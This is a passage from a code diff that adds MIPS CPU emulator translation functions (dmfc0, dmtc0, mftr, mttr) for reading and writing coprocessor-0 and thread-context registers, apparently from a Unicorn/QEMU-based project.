gen_helper_dmfc0_tracebpc(arg, tcg_ctx->cpu_env); /* PDtrace support */ + rn = "TraceBPC"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 24: + switch (sel) { + case 0: + /* EJTAG support */ + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_DEPC)); + rn = "DEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 25: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Performance0)); + rn = "Performance0"; + break; + case 1: +// gen_helper_dmfc0_performance1(arg); + rn = "Performance1"; +// break; + case 2: +// gen_helper_dmfc0_performance2(arg); + rn = "Performance2"; +// break; + case 3: +// gen_helper_dmfc0_performance3(arg); + rn = "Performance3"; +// break; + case 4: +// gen_helper_dmfc0_performance4(arg); + rn = "Performance4"; +// break; + case 5: +// gen_helper_dmfc0_performance5(arg); + rn = "Performance5"; +// break; + case 6: +// gen_helper_dmfc0_performance6(arg); + rn = "Performance6"; +// break; + case 7: +// gen_helper_dmfc0_performance7(arg); + rn = "Performance7"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 26: + tcg_gen_movi_tl(tcg_ctx, arg, 0); /* unimplemented */ + rn = "ECC"; + break; + case 27: + switch (sel) { + /* ignored */ + case 0: case 1: case 2: case 3: + tcg_gen_movi_tl(tcg_ctx, arg, 0); /* unimplemented */ + rn = "CacheErr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 28: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_TagLo)); + rn = "TagLo"; + break; + case 1: + case 3: + case 5: + case 7: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_DataLo)); + rn = "DataLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 29: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_TagHi)); + rn = "TagHi"; + break; + case 1: + case 3: + case 5: + case 7: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_DataHi)); + rn = "DataHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 30: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_ErrorEPC)); + rn = "ErrorEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 31: + switch (sel) { + case 0: + /* EJTAG support */ + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_DESAVE)); + rn = "DESAVE"; + break; + case 2: case 3: case 4: case 5: case 6: case 7: + CP0_CHECK(ctx->kscrexist & (1 << sel)); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, CP0_KScratch[sel-2])); + rn = "KScratch"; + break; + default: + goto cp0_unimplemented; + } + break; + default: + goto cp0_unimplemented; + } + (void)rn; /* avoid a compiler warning */ + LOG_DISAS("dmfc0 %s (reg %d sel %d)\n", rn, reg, sel); + return; + +cp0_unimplemented: + LOG_DISAS("dmfc0 %s (reg %d sel %d)\n", rn, reg, sel); + gen_mfc0_unimplemented(ctx, arg); +} + +static void gen_dmtc0(DisasContext *ctx, TCGv arg, int reg, int sel) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *rn = "invalid"; + + if (sel != 0) + check_insn(ctx, ISA_MIPS64); + + //if (use_icount) + // gen_io_start(); + + switch (reg) { + case 0: + switch (sel) { + case 0: + gen_helper_mtc0_index(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Index"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_mvpcontrol(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "MVPControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + /* ignored */ + rn = "MVPConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + /* ignored */ + rn = "MVPConf1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 1: + switch (sel) { + case 0: + /* ignored */ + rn = "Random"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpecontrol(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpeconf0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpeconf1(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEConf1"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_yqmask(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "YQMask"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_VPESchedule)); + rn = "VPESchedule"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_VPEScheFBack)); + rn = "VPEScheFBack"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpeopt(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEOpt"; + break; + default: + goto cp0_unimplemented; + } + break; + case 2: + switch (sel) { + case 0: + gen_helper_dmtc0_entrylo0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EntryLo0"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcstatus(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCStatus"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcbind(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCBind"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcrestart(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCRestart"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tchalt(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCHalt"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tccontext(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCContext"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcschedule(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCSchedule"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcschefback(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCScheFBack"; + break; + default: + goto cp0_unimplemented; + } + break; + case 3: + switch (sel) { + case 0: + gen_helper_dmtc0_entrylo1(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EntryLo1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 4: + switch (sel) { + case 0: + gen_helper_mtc0_context(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Context"; + break; + case 1: +// gen_helper_mtc0_contextconfig(tcg_ctx->cpu_env, arg); /* SmartMIPS ASE */ + rn = "ContextConfig"; + goto cp0_unimplemented; +// break; + case 2: + CP0_CHECK(ctx->ulri); + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, active_tc.CP0_UserLocal)); + rn = "UserLocal"; + break; + default: + goto cp0_unimplemented; + } + break; + case 5: + switch (sel) { + case 0: + gen_helper_mtc0_pagemask(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "PageMask"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_pagegrain(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "PageGrain"; + break; + default: + goto cp0_unimplemented; + } + break; + case 6: + switch (sel) { + case 0: + gen_helper_mtc0_wired(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Wired"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf0"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf1(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf1"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf2(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf2"; + break; + case 4: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf3(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf3"; + break; + case 5: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf4(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf4"; + break; + default: + goto cp0_unimplemented; + } + break; + case 7: + switch (sel) { + case 0: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_hwrena(tcg_ctx, tcg_ctx->cpu_env, arg); + ctx->bstate = BS_STOP; + rn = "HWREna"; + break; + default: + goto cp0_unimplemented; + } + break; + case 8: + switch (sel) { + case 0: + /* ignored */ + rn = "BadVAddr"; + break; + case 1: + /* ignored */ + rn = "BadInstr"; + break; + case 2: + /* ignored */ + rn = "BadInstrP"; + break; + default: + goto cp0_unimplemented; + } + break; + case 9: + switch (sel) { + case 0: + gen_helper_mtc0_count(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Count"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + case 10: + switch (sel) { + case 0: + gen_helper_mtc0_entryhi(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EntryHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 11: + switch (sel) { + case 0: + gen_helper_mtc0_compare(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Compare"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + case 12: + switch (sel) { + case 0: + save_cpu_state(ctx, 1); + gen_helper_mtc0_status(tcg_ctx, tcg_ctx->cpu_env, arg); + /* BS_STOP isn't good enough here, hflags may have changed. */ + gen_save_pc(ctx, ctx->pc + 4); + ctx->bstate = BS_EXCP; + rn = "Status"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_intctl(tcg_ctx, tcg_ctx->cpu_env, arg); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "IntCtl"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsctl(tcg_ctx, tcg_ctx->cpu_env, arg); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "SRSCtl"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_mtc0_store32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSMap)); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "SRSMap"; + break; + default: + goto cp0_unimplemented; + } + break; + case 13: + switch (sel) { + case 0: + save_cpu_state(ctx, 1); + /* Mark as an IO operation because we may trigger a software + interrupt. */ + //if (use_icount) { + // gen_io_start(); + //} + gen_helper_mtc0_cause(tcg_ctx, tcg_ctx->cpu_env, arg); + //if (use_icount) { + // gen_io_end(); + //} + /* Stop translation as we may have triggered an intetrupt */ + ctx->bstate = BS_STOP; + rn = "Cause"; + break; + default: + goto cp0_unimplemented; + } + break; + case 14: + switch (sel) { + case 0: + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EPC)); + rn = "EPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 15: + switch (sel) { + case 0: + /* ignored */ + rn = "PRid"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_ebase(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EBase"; + break; + default: + goto cp0_unimplemented; + } + break; + case 16: + switch (sel) { + case 0: + gen_helper_mtc0_config0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Config"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + case 1: + /* ignored, read only */ + rn = "Config1"; + break; + case 2: + gen_helper_mtc0_config2(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Config2"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + case 3: + /* ignored */ + rn = "Config3"; + break; + case 4: + /* currently ignored */ + rn = "Config4"; + break; + case 5: + gen_helper_mtc0_config5(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Config5"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + /* 6,7 are implementation dependent */ + default: + rn = "Invalid config selector"; + goto cp0_unimplemented; + } + break; + case 17: + switch (sel) { + case 0: + gen_helper_mtc0_lladdr(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "LLAddr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 18: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_0e1i(tcg_ctx, mtc0_watchlo, arg, sel); + rn = "WatchLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 19: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_0e1i(tcg_ctx, mtc0_watchhi, arg, sel); + rn = "WatchHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 20: + switch (sel) { + case 0: + check_insn(ctx, ISA_MIPS3); + gen_helper_mtc0_xcontext(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "XContext"; + break; + default: + goto cp0_unimplemented; + } + break; + case 21: + /* Officially reserved, but sel 0 is used for R1x000 framemask */ + CP0_CHECK(!(ctx->insn_flags & ISA_MIPS32R6)); + switch (sel) { + case 0: + gen_helper_mtc0_framemask(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Framemask"; + break; + default: + goto cp0_unimplemented; + } + break; + case 22: + /* ignored */ + rn = "Diagnostic"; /* implementation dependent */ + break; + case 23: + switch (sel) { + case 0: + gen_helper_mtc0_debug(tcg_ctx, tcg_ctx->cpu_env, arg); /* EJTAG support */ + /* BS_STOP isn't good enough here, hflags may have changed. */ + gen_save_pc(ctx, ctx->pc + 4); + ctx->bstate = BS_EXCP; + rn = "Debug"; + break; + case 1: +// gen_helper_mtc0_tracecontrol(tcg_ctx->cpu_env, arg); /* PDtrace support */ + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "TraceControl"; +// break; + case 2: +// gen_helper_mtc0_tracecontrol2(tcg_ctx->cpu_env, arg); /* PDtrace support */ + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "TraceControl2"; +// break; + case 3: +// gen_helper_mtc0_usertracedata(tcg_ctx->cpu_env, arg); /* PDtrace support */ + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "UserTraceData"; +// break; + case 4: +// gen_helper_mtc0_tracebpc(tcg_ctx->cpu_env, arg); /* PDtrace support */ + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "TraceBPC"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 24: + switch (sel) { + case 0: + /* EJTAG support */ + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_DEPC)); + rn = "DEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 25: + switch (sel) { + case 0: + gen_helper_mtc0_performance0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Performance0"; + break; + case 1: +// gen_helper_mtc0_performance1(tcg_ctx->cpu_env, arg); + rn = "Performance1"; +// break; + case 2: +// gen_helper_mtc0_performance2(tcg_ctx->cpu_env, arg); + rn = "Performance2"; +// break; + case 3: +// gen_helper_mtc0_performance3(tcg_ctx->cpu_env, arg); + rn = "Performance3"; +// break; + case 4: +// gen_helper_mtc0_performance4(tcg_ctx->cpu_env, arg); + rn = "Performance4"; +// break; + case 5: +// gen_helper_mtc0_performance5(tcg_ctx->cpu_env, arg); + rn = "Performance5"; +// break; + case 6: +// gen_helper_mtc0_performance6(tcg_ctx->cpu_env, arg); + rn = "Performance6"; +// break; + case 7: +// gen_helper_mtc0_performance7(tcg_ctx->cpu_env, arg); + rn = "Performance7"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 26: + /* ignored */ + rn = "ECC"; + break; + case 27: + switch (sel) { + case 0: case 1: case 2: case 3: + /* ignored */ + rn = "CacheErr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 28: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_helper_mtc0_taglo(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TagLo"; + break; + case 1: + case 3: + case 5: + case 7: + gen_helper_mtc0_datalo(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "DataLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 29: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_helper_mtc0_taghi(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TagHi"; + break; + case 1: + case 3: + case 5: + case 7: + gen_helper_mtc0_datahi(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "DataHi"; + break; + default: + rn = "invalid sel"; + goto cp0_unimplemented; + } + break; + case 30: + switch (sel) { + case 0: + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_ErrorEPC)); + rn = "ErrorEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 31: + switch (sel) { + case 0: + /* EJTAG support */ + gen_mtc0_store32(ctx, arg, offsetof(CPUMIPSState, CP0_DESAVE)); + rn = "DESAVE"; + break; + case 2: case 3: case 4: case 5: case 6: case 7: + CP0_CHECK(ctx->kscrexist & (1 << sel)); + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, CP0_KScratch[sel-2])); + rn = "KScratch"; + break; + default: + goto cp0_unimplemented; + } + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + default: + goto cp0_unimplemented; + } + (void)rn; /* avoid a compiler warning */ + LOG_DISAS("dmtc0 %s (reg %d sel %d)\n", rn, reg, sel); + /* For simplicity assume that all writes can cause interrupts. */ + //if (use_icount) { + // gen_io_end(); + // ctx->bstate = BS_STOP; + //} + return; + +cp0_unimplemented: + LOG_DISAS("dmtc0 %s (reg %d sel %d)\n", rn, reg, sel); +} +#endif /* TARGET_MIPS64 */ + +static void gen_mftr(CPUMIPSState *env, DisasContext *ctx, int rt, int rd, + int u, int sel, int h) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + TCGv t0 = tcg_temp_local_new(tcg_ctx); + + if ((env->CP0_VPEConf0 & (1 << CP0VPEC0_MVP)) == 0 && + ((env->tcs[other_tc].CP0_TCBind & (0xf << CP0TCBd_CurVPE)) != + (env->active_tc.CP0_TCBind & (0xf << CP0TCBd_CurVPE)))) + tcg_gen_movi_tl(tcg_ctx, t0, -1); + else if ((env->CP0_VPEControl & (0xff << CP0VPECo_TargTC)) > + (env->mvp->CP0_MVPConf0 & (0xff << CP0MVPC0_PTC))) + tcg_gen_movi_tl(tcg_ctx, t0, -1); + else if (u == 0) { + switch (rt) { + case 1: + switch (sel) { + case 1: + gen_helper_mftc0_vpecontrol(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + case 2: + gen_helper_mftc0_vpeconf0(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + goto die; + break; + } + break; + case 2: + switch (sel) { + case 1: + gen_helper_mftc0_tcstatus(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + case 2: + gen_helper_mftc0_tcbind(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + case 3: + gen_helper_mftc0_tcrestart(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + case 4: + gen_helper_mftc0_tchalt(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + case 5: + gen_helper_mftc0_tccontext(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + case 6: + gen_helper_mftc0_tcschedule(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + case 7: + gen_helper_mftc0_tcschefback(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + gen_mfc0(ctx, t0, rt, sel); + break; + } + break; + case 10: + switch (sel) { + case 0: + gen_helper_mftc0_entryhi(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + gen_mfc0(ctx, t0, rt, sel); + break; + } + case 12: + switch (sel) { + case 0: + gen_helper_mftc0_status(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + gen_mfc0(ctx, t0, rt, sel); + break; + } + case 13: + switch (sel) { + case 0: + gen_helper_mftc0_cause(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + goto die; + break; + } + break; + case 14: + switch (sel) { + case 0: + gen_helper_mftc0_epc(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + goto die; + break; + } + break; + case 15: + switch (sel) { + case 1: + gen_helper_mftc0_ebase(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + goto die; + break; + } + break; + case 16: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_mftc0_configx(tcg_ctx, t0, tcg_ctx->cpu_env, tcg_const_tl(tcg_ctx, sel)); + break; + default: + goto die; + break; + } + break; + case 23: + switch (sel) { + case 0: + gen_helper_mftc0_debug(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + gen_mfc0(ctx, t0, rt, sel); + break; + } + break; + default: + gen_mfc0(ctx, t0, rt, sel); + } + } else switch (sel) { + /* GPR registers. */ + case 0: + gen_helper_1e0i(tcg_ctx, mftgpr, t0, rt); + break; + /* Auxiliary CPU registers */ + case 1: + switch (rt) { + case 0: + gen_helper_1e0i(tcg_ctx, mftlo, t0, 0); + break; + case 1: + gen_helper_1e0i(tcg_ctx, mfthi, t0, 0); + break; + case 2: + gen_helper_1e0i(tcg_ctx, mftacx, t0, 0); + break; + case 4: + gen_helper_1e0i(tcg_ctx, mftlo, t0, 1); + break; + case 5: + gen_helper_1e0i(tcg_ctx, mfthi, t0, 1); + break; + case 6: + gen_helper_1e0i(tcg_ctx, mftacx, t0, 1); + break; + case 8: + gen_helper_1e0i(tcg_ctx, mftlo, t0, 2); + break; + case 9: + gen_helper_1e0i(tcg_ctx, mfthi, t0, 2); + break; + case 10: + gen_helper_1e0i(tcg_ctx, mftacx, t0, 2); + break; + case 12: + gen_helper_1e0i(tcg_ctx, mftlo, t0, 3); + break; + case 13: + gen_helper_1e0i(tcg_ctx, mfthi, t0, 3); + break; + case 14: + gen_helper_1e0i(tcg_ctx, mftacx, t0, 3); + break; + case 16: + gen_helper_mftdsp(tcg_ctx, t0, tcg_ctx->cpu_env); + break; + default: + goto die; + } + break; + /* Floating point (COP1). */ + case 2: + /* XXX: For now we support only a single FPU context. */ + if (h == 0) { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, rt); + tcg_gen_ext_i32_tl(tcg_ctx, t0, fp0); + tcg_temp_free_i32(tcg_ctx, fp0); + } else { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32h(ctx, fp0, rt); + tcg_gen_ext_i32_tl(tcg_ctx, t0, fp0); + tcg_temp_free_i32(tcg_ctx, fp0); + } + break; + case 3: + /* XXX: For now we support only a single FPU context. */ + gen_helper_1e0i(tcg_ctx, cfc1, t0, rt); + break; + /* COP2: Not implemented. */ + case 4: + case 5: + /* fall through */ + default: + goto die; + } + LOG_DISAS("mftr (reg %d u %d sel %d h %d)\n", rt, u, sel, h); + gen_store_gpr(tcg_ctx, t0, rd); + tcg_temp_free(tcg_ctx, t0); + return; + +die: + tcg_temp_free(tcg_ctx, t0); + LOG_DISAS("mftr (reg %d u %d sel %d h %d)\n", rt, u, sel, h); + generate_exception(ctx, EXCP_RI); +} + +static void gen_mttr(CPUMIPSState *env, DisasContext *ctx, int rd, int rt, + int u, int sel, int h) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + TCGv t0 = tcg_temp_local_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rt); + if ((env->CP0_VPEConf0 & (1 << CP0VPEC0_MVP)) == 0 && + ((env->tcs[other_tc].CP0_TCBind & (0xf << CP0TCBd_CurVPE)) != + (env->active_tc.CP0_TCBind & (0xf << CP0TCBd_CurVPE)))) + /* NOP */ ; + else if ((env->CP0_VPEControl & (0xff << CP0VPECo_TargTC)) > + (env->mvp->CP0_MVPConf0 & (0xff << CP0MVPC0_PTC))) + /* NOP */ ; + else if (u == 0) { + switch (rd) { + case 1: + switch (sel) { + case 1: + gen_helper_mttc0_vpecontrol(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + case 2: + gen_helper_mttc0_vpeconf0(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + goto die; + break; + } + break; + case 2: + switch (sel) { + case 1: + gen_helper_mttc0_tcstatus(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + case 2: + gen_helper_mttc0_tcbind(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + case 3: + gen_helper_mttc0_tcrestart(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + case 4: + gen_helper_mttc0_tchalt(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + case 5: + gen_helper_mttc0_tccontext(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + case 6: + gen_helper_mttc0_tcschedule(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + case 7: + gen_helper_mttc0_tcschefback(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + gen_mtc0(ctx, t0, rd, sel); + break; + } + break; + case 10: + switch (sel) { + case 0: + gen_helper_mttc0_entryhi(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + gen_mtc0(ctx, t0, rd, sel); + break; + } + case 12: + switch (sel) { + case 0: + gen_helper_mttc0_status(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + gen_mtc0(ctx, t0, rd, sel); + break; + } + case 13: + switch (sel) { + case 0: + gen_helper_mttc0_cause(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + goto die; + break; + } + break; + case 15: + switch (sel) { + case 1: + gen_helper_mttc0_ebase(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + goto die; + break; + } + break; + case 23: + switch (sel) { + case 0: + gen_helper_mttc0_debug(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + gen_mtc0(ctx, t0, rd, sel); + break; + } + break; + default: + gen_mtc0(ctx, t0, rd, sel); + } + } else switch (sel) { + /* GPR registers. */ + case 0: + gen_helper_0e1i(tcg_ctx, mttgpr, t0, rd); + break; + /* Auxiliary CPU registers */ + case 1: + switch (rd) { + case 0: + gen_helper_0e1i(tcg_ctx, mttlo, t0, 0); + break; + case 1: + gen_helper_0e1i(tcg_ctx, mtthi, t0, 0); + break; + case 2: + gen_helper_0e1i(tcg_ctx, mttacx, t0, 0); + break; + case 4: + gen_helper_0e1i(tcg_ctx, mttlo, t0, 1); + break; + case 5: + gen_helper_0e1i(tcg_ctx, mtthi, t0, 1); + break; + case 6: + gen_helper_0e1i(tcg_ctx, mttacx, t0, 1); + break; + case 8: + gen_helper_0e1i(tcg_ctx, mttlo, t0, 2); + break; + case 9: + gen_helper_0e1i(tcg_ctx, mtthi, t0, 2); + break; + case 10: + gen_helper_0e1i(tcg_ctx, mttacx, t0, 2); + break; + case 12: + gen_helper_0e1i(tcg_ctx, mttlo, t0, 3); + break; + case 13: + gen_helper_0e1i(tcg_ctx, mtthi, t0, 3); + break; + case 14: + gen_helper_0e1i(tcg_ctx, mttacx, t0, 3); + break; + case 16: + gen_helper_mttdsp(tcg_ctx, tcg_ctx->cpu_env, t0); + break; + default: + goto die; + } + break; + /* Floating point (COP1). */ + case 2: + /* XXX: For now we support only a single FPU context. */ + if (h == 0) { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_trunc_tl_i32(tcg_ctx, fp0, t0); + gen_store_fpr32(ctx, fp0, rd); + tcg_temp_free_i32(tcg_ctx, fp0); + } else { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_trunc_tl_i32(tcg_ctx, fp0, t0); + gen_store_fpr32h(ctx, fp0, rd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + break; + case 3: + /* XXX: For now we support only a single FPU context. */ + save_cpu_state(ctx, 1); + { + TCGv_i32 fs_tmp = tcg_const_i32(tcg_ctx, rd); + + gen_helper_0e2i(tcg_ctx, ctc1, t0, fs_tmp, rt); + tcg_temp_free_i32(tcg_ctx, fs_tmp); + } + /* Stop translation as we may have changed hflags */ + ctx->bstate = BS_STOP; + break; + /* COP2: Not implemented. */ + case 4: + case 5: + /* fall through */ + default: + goto 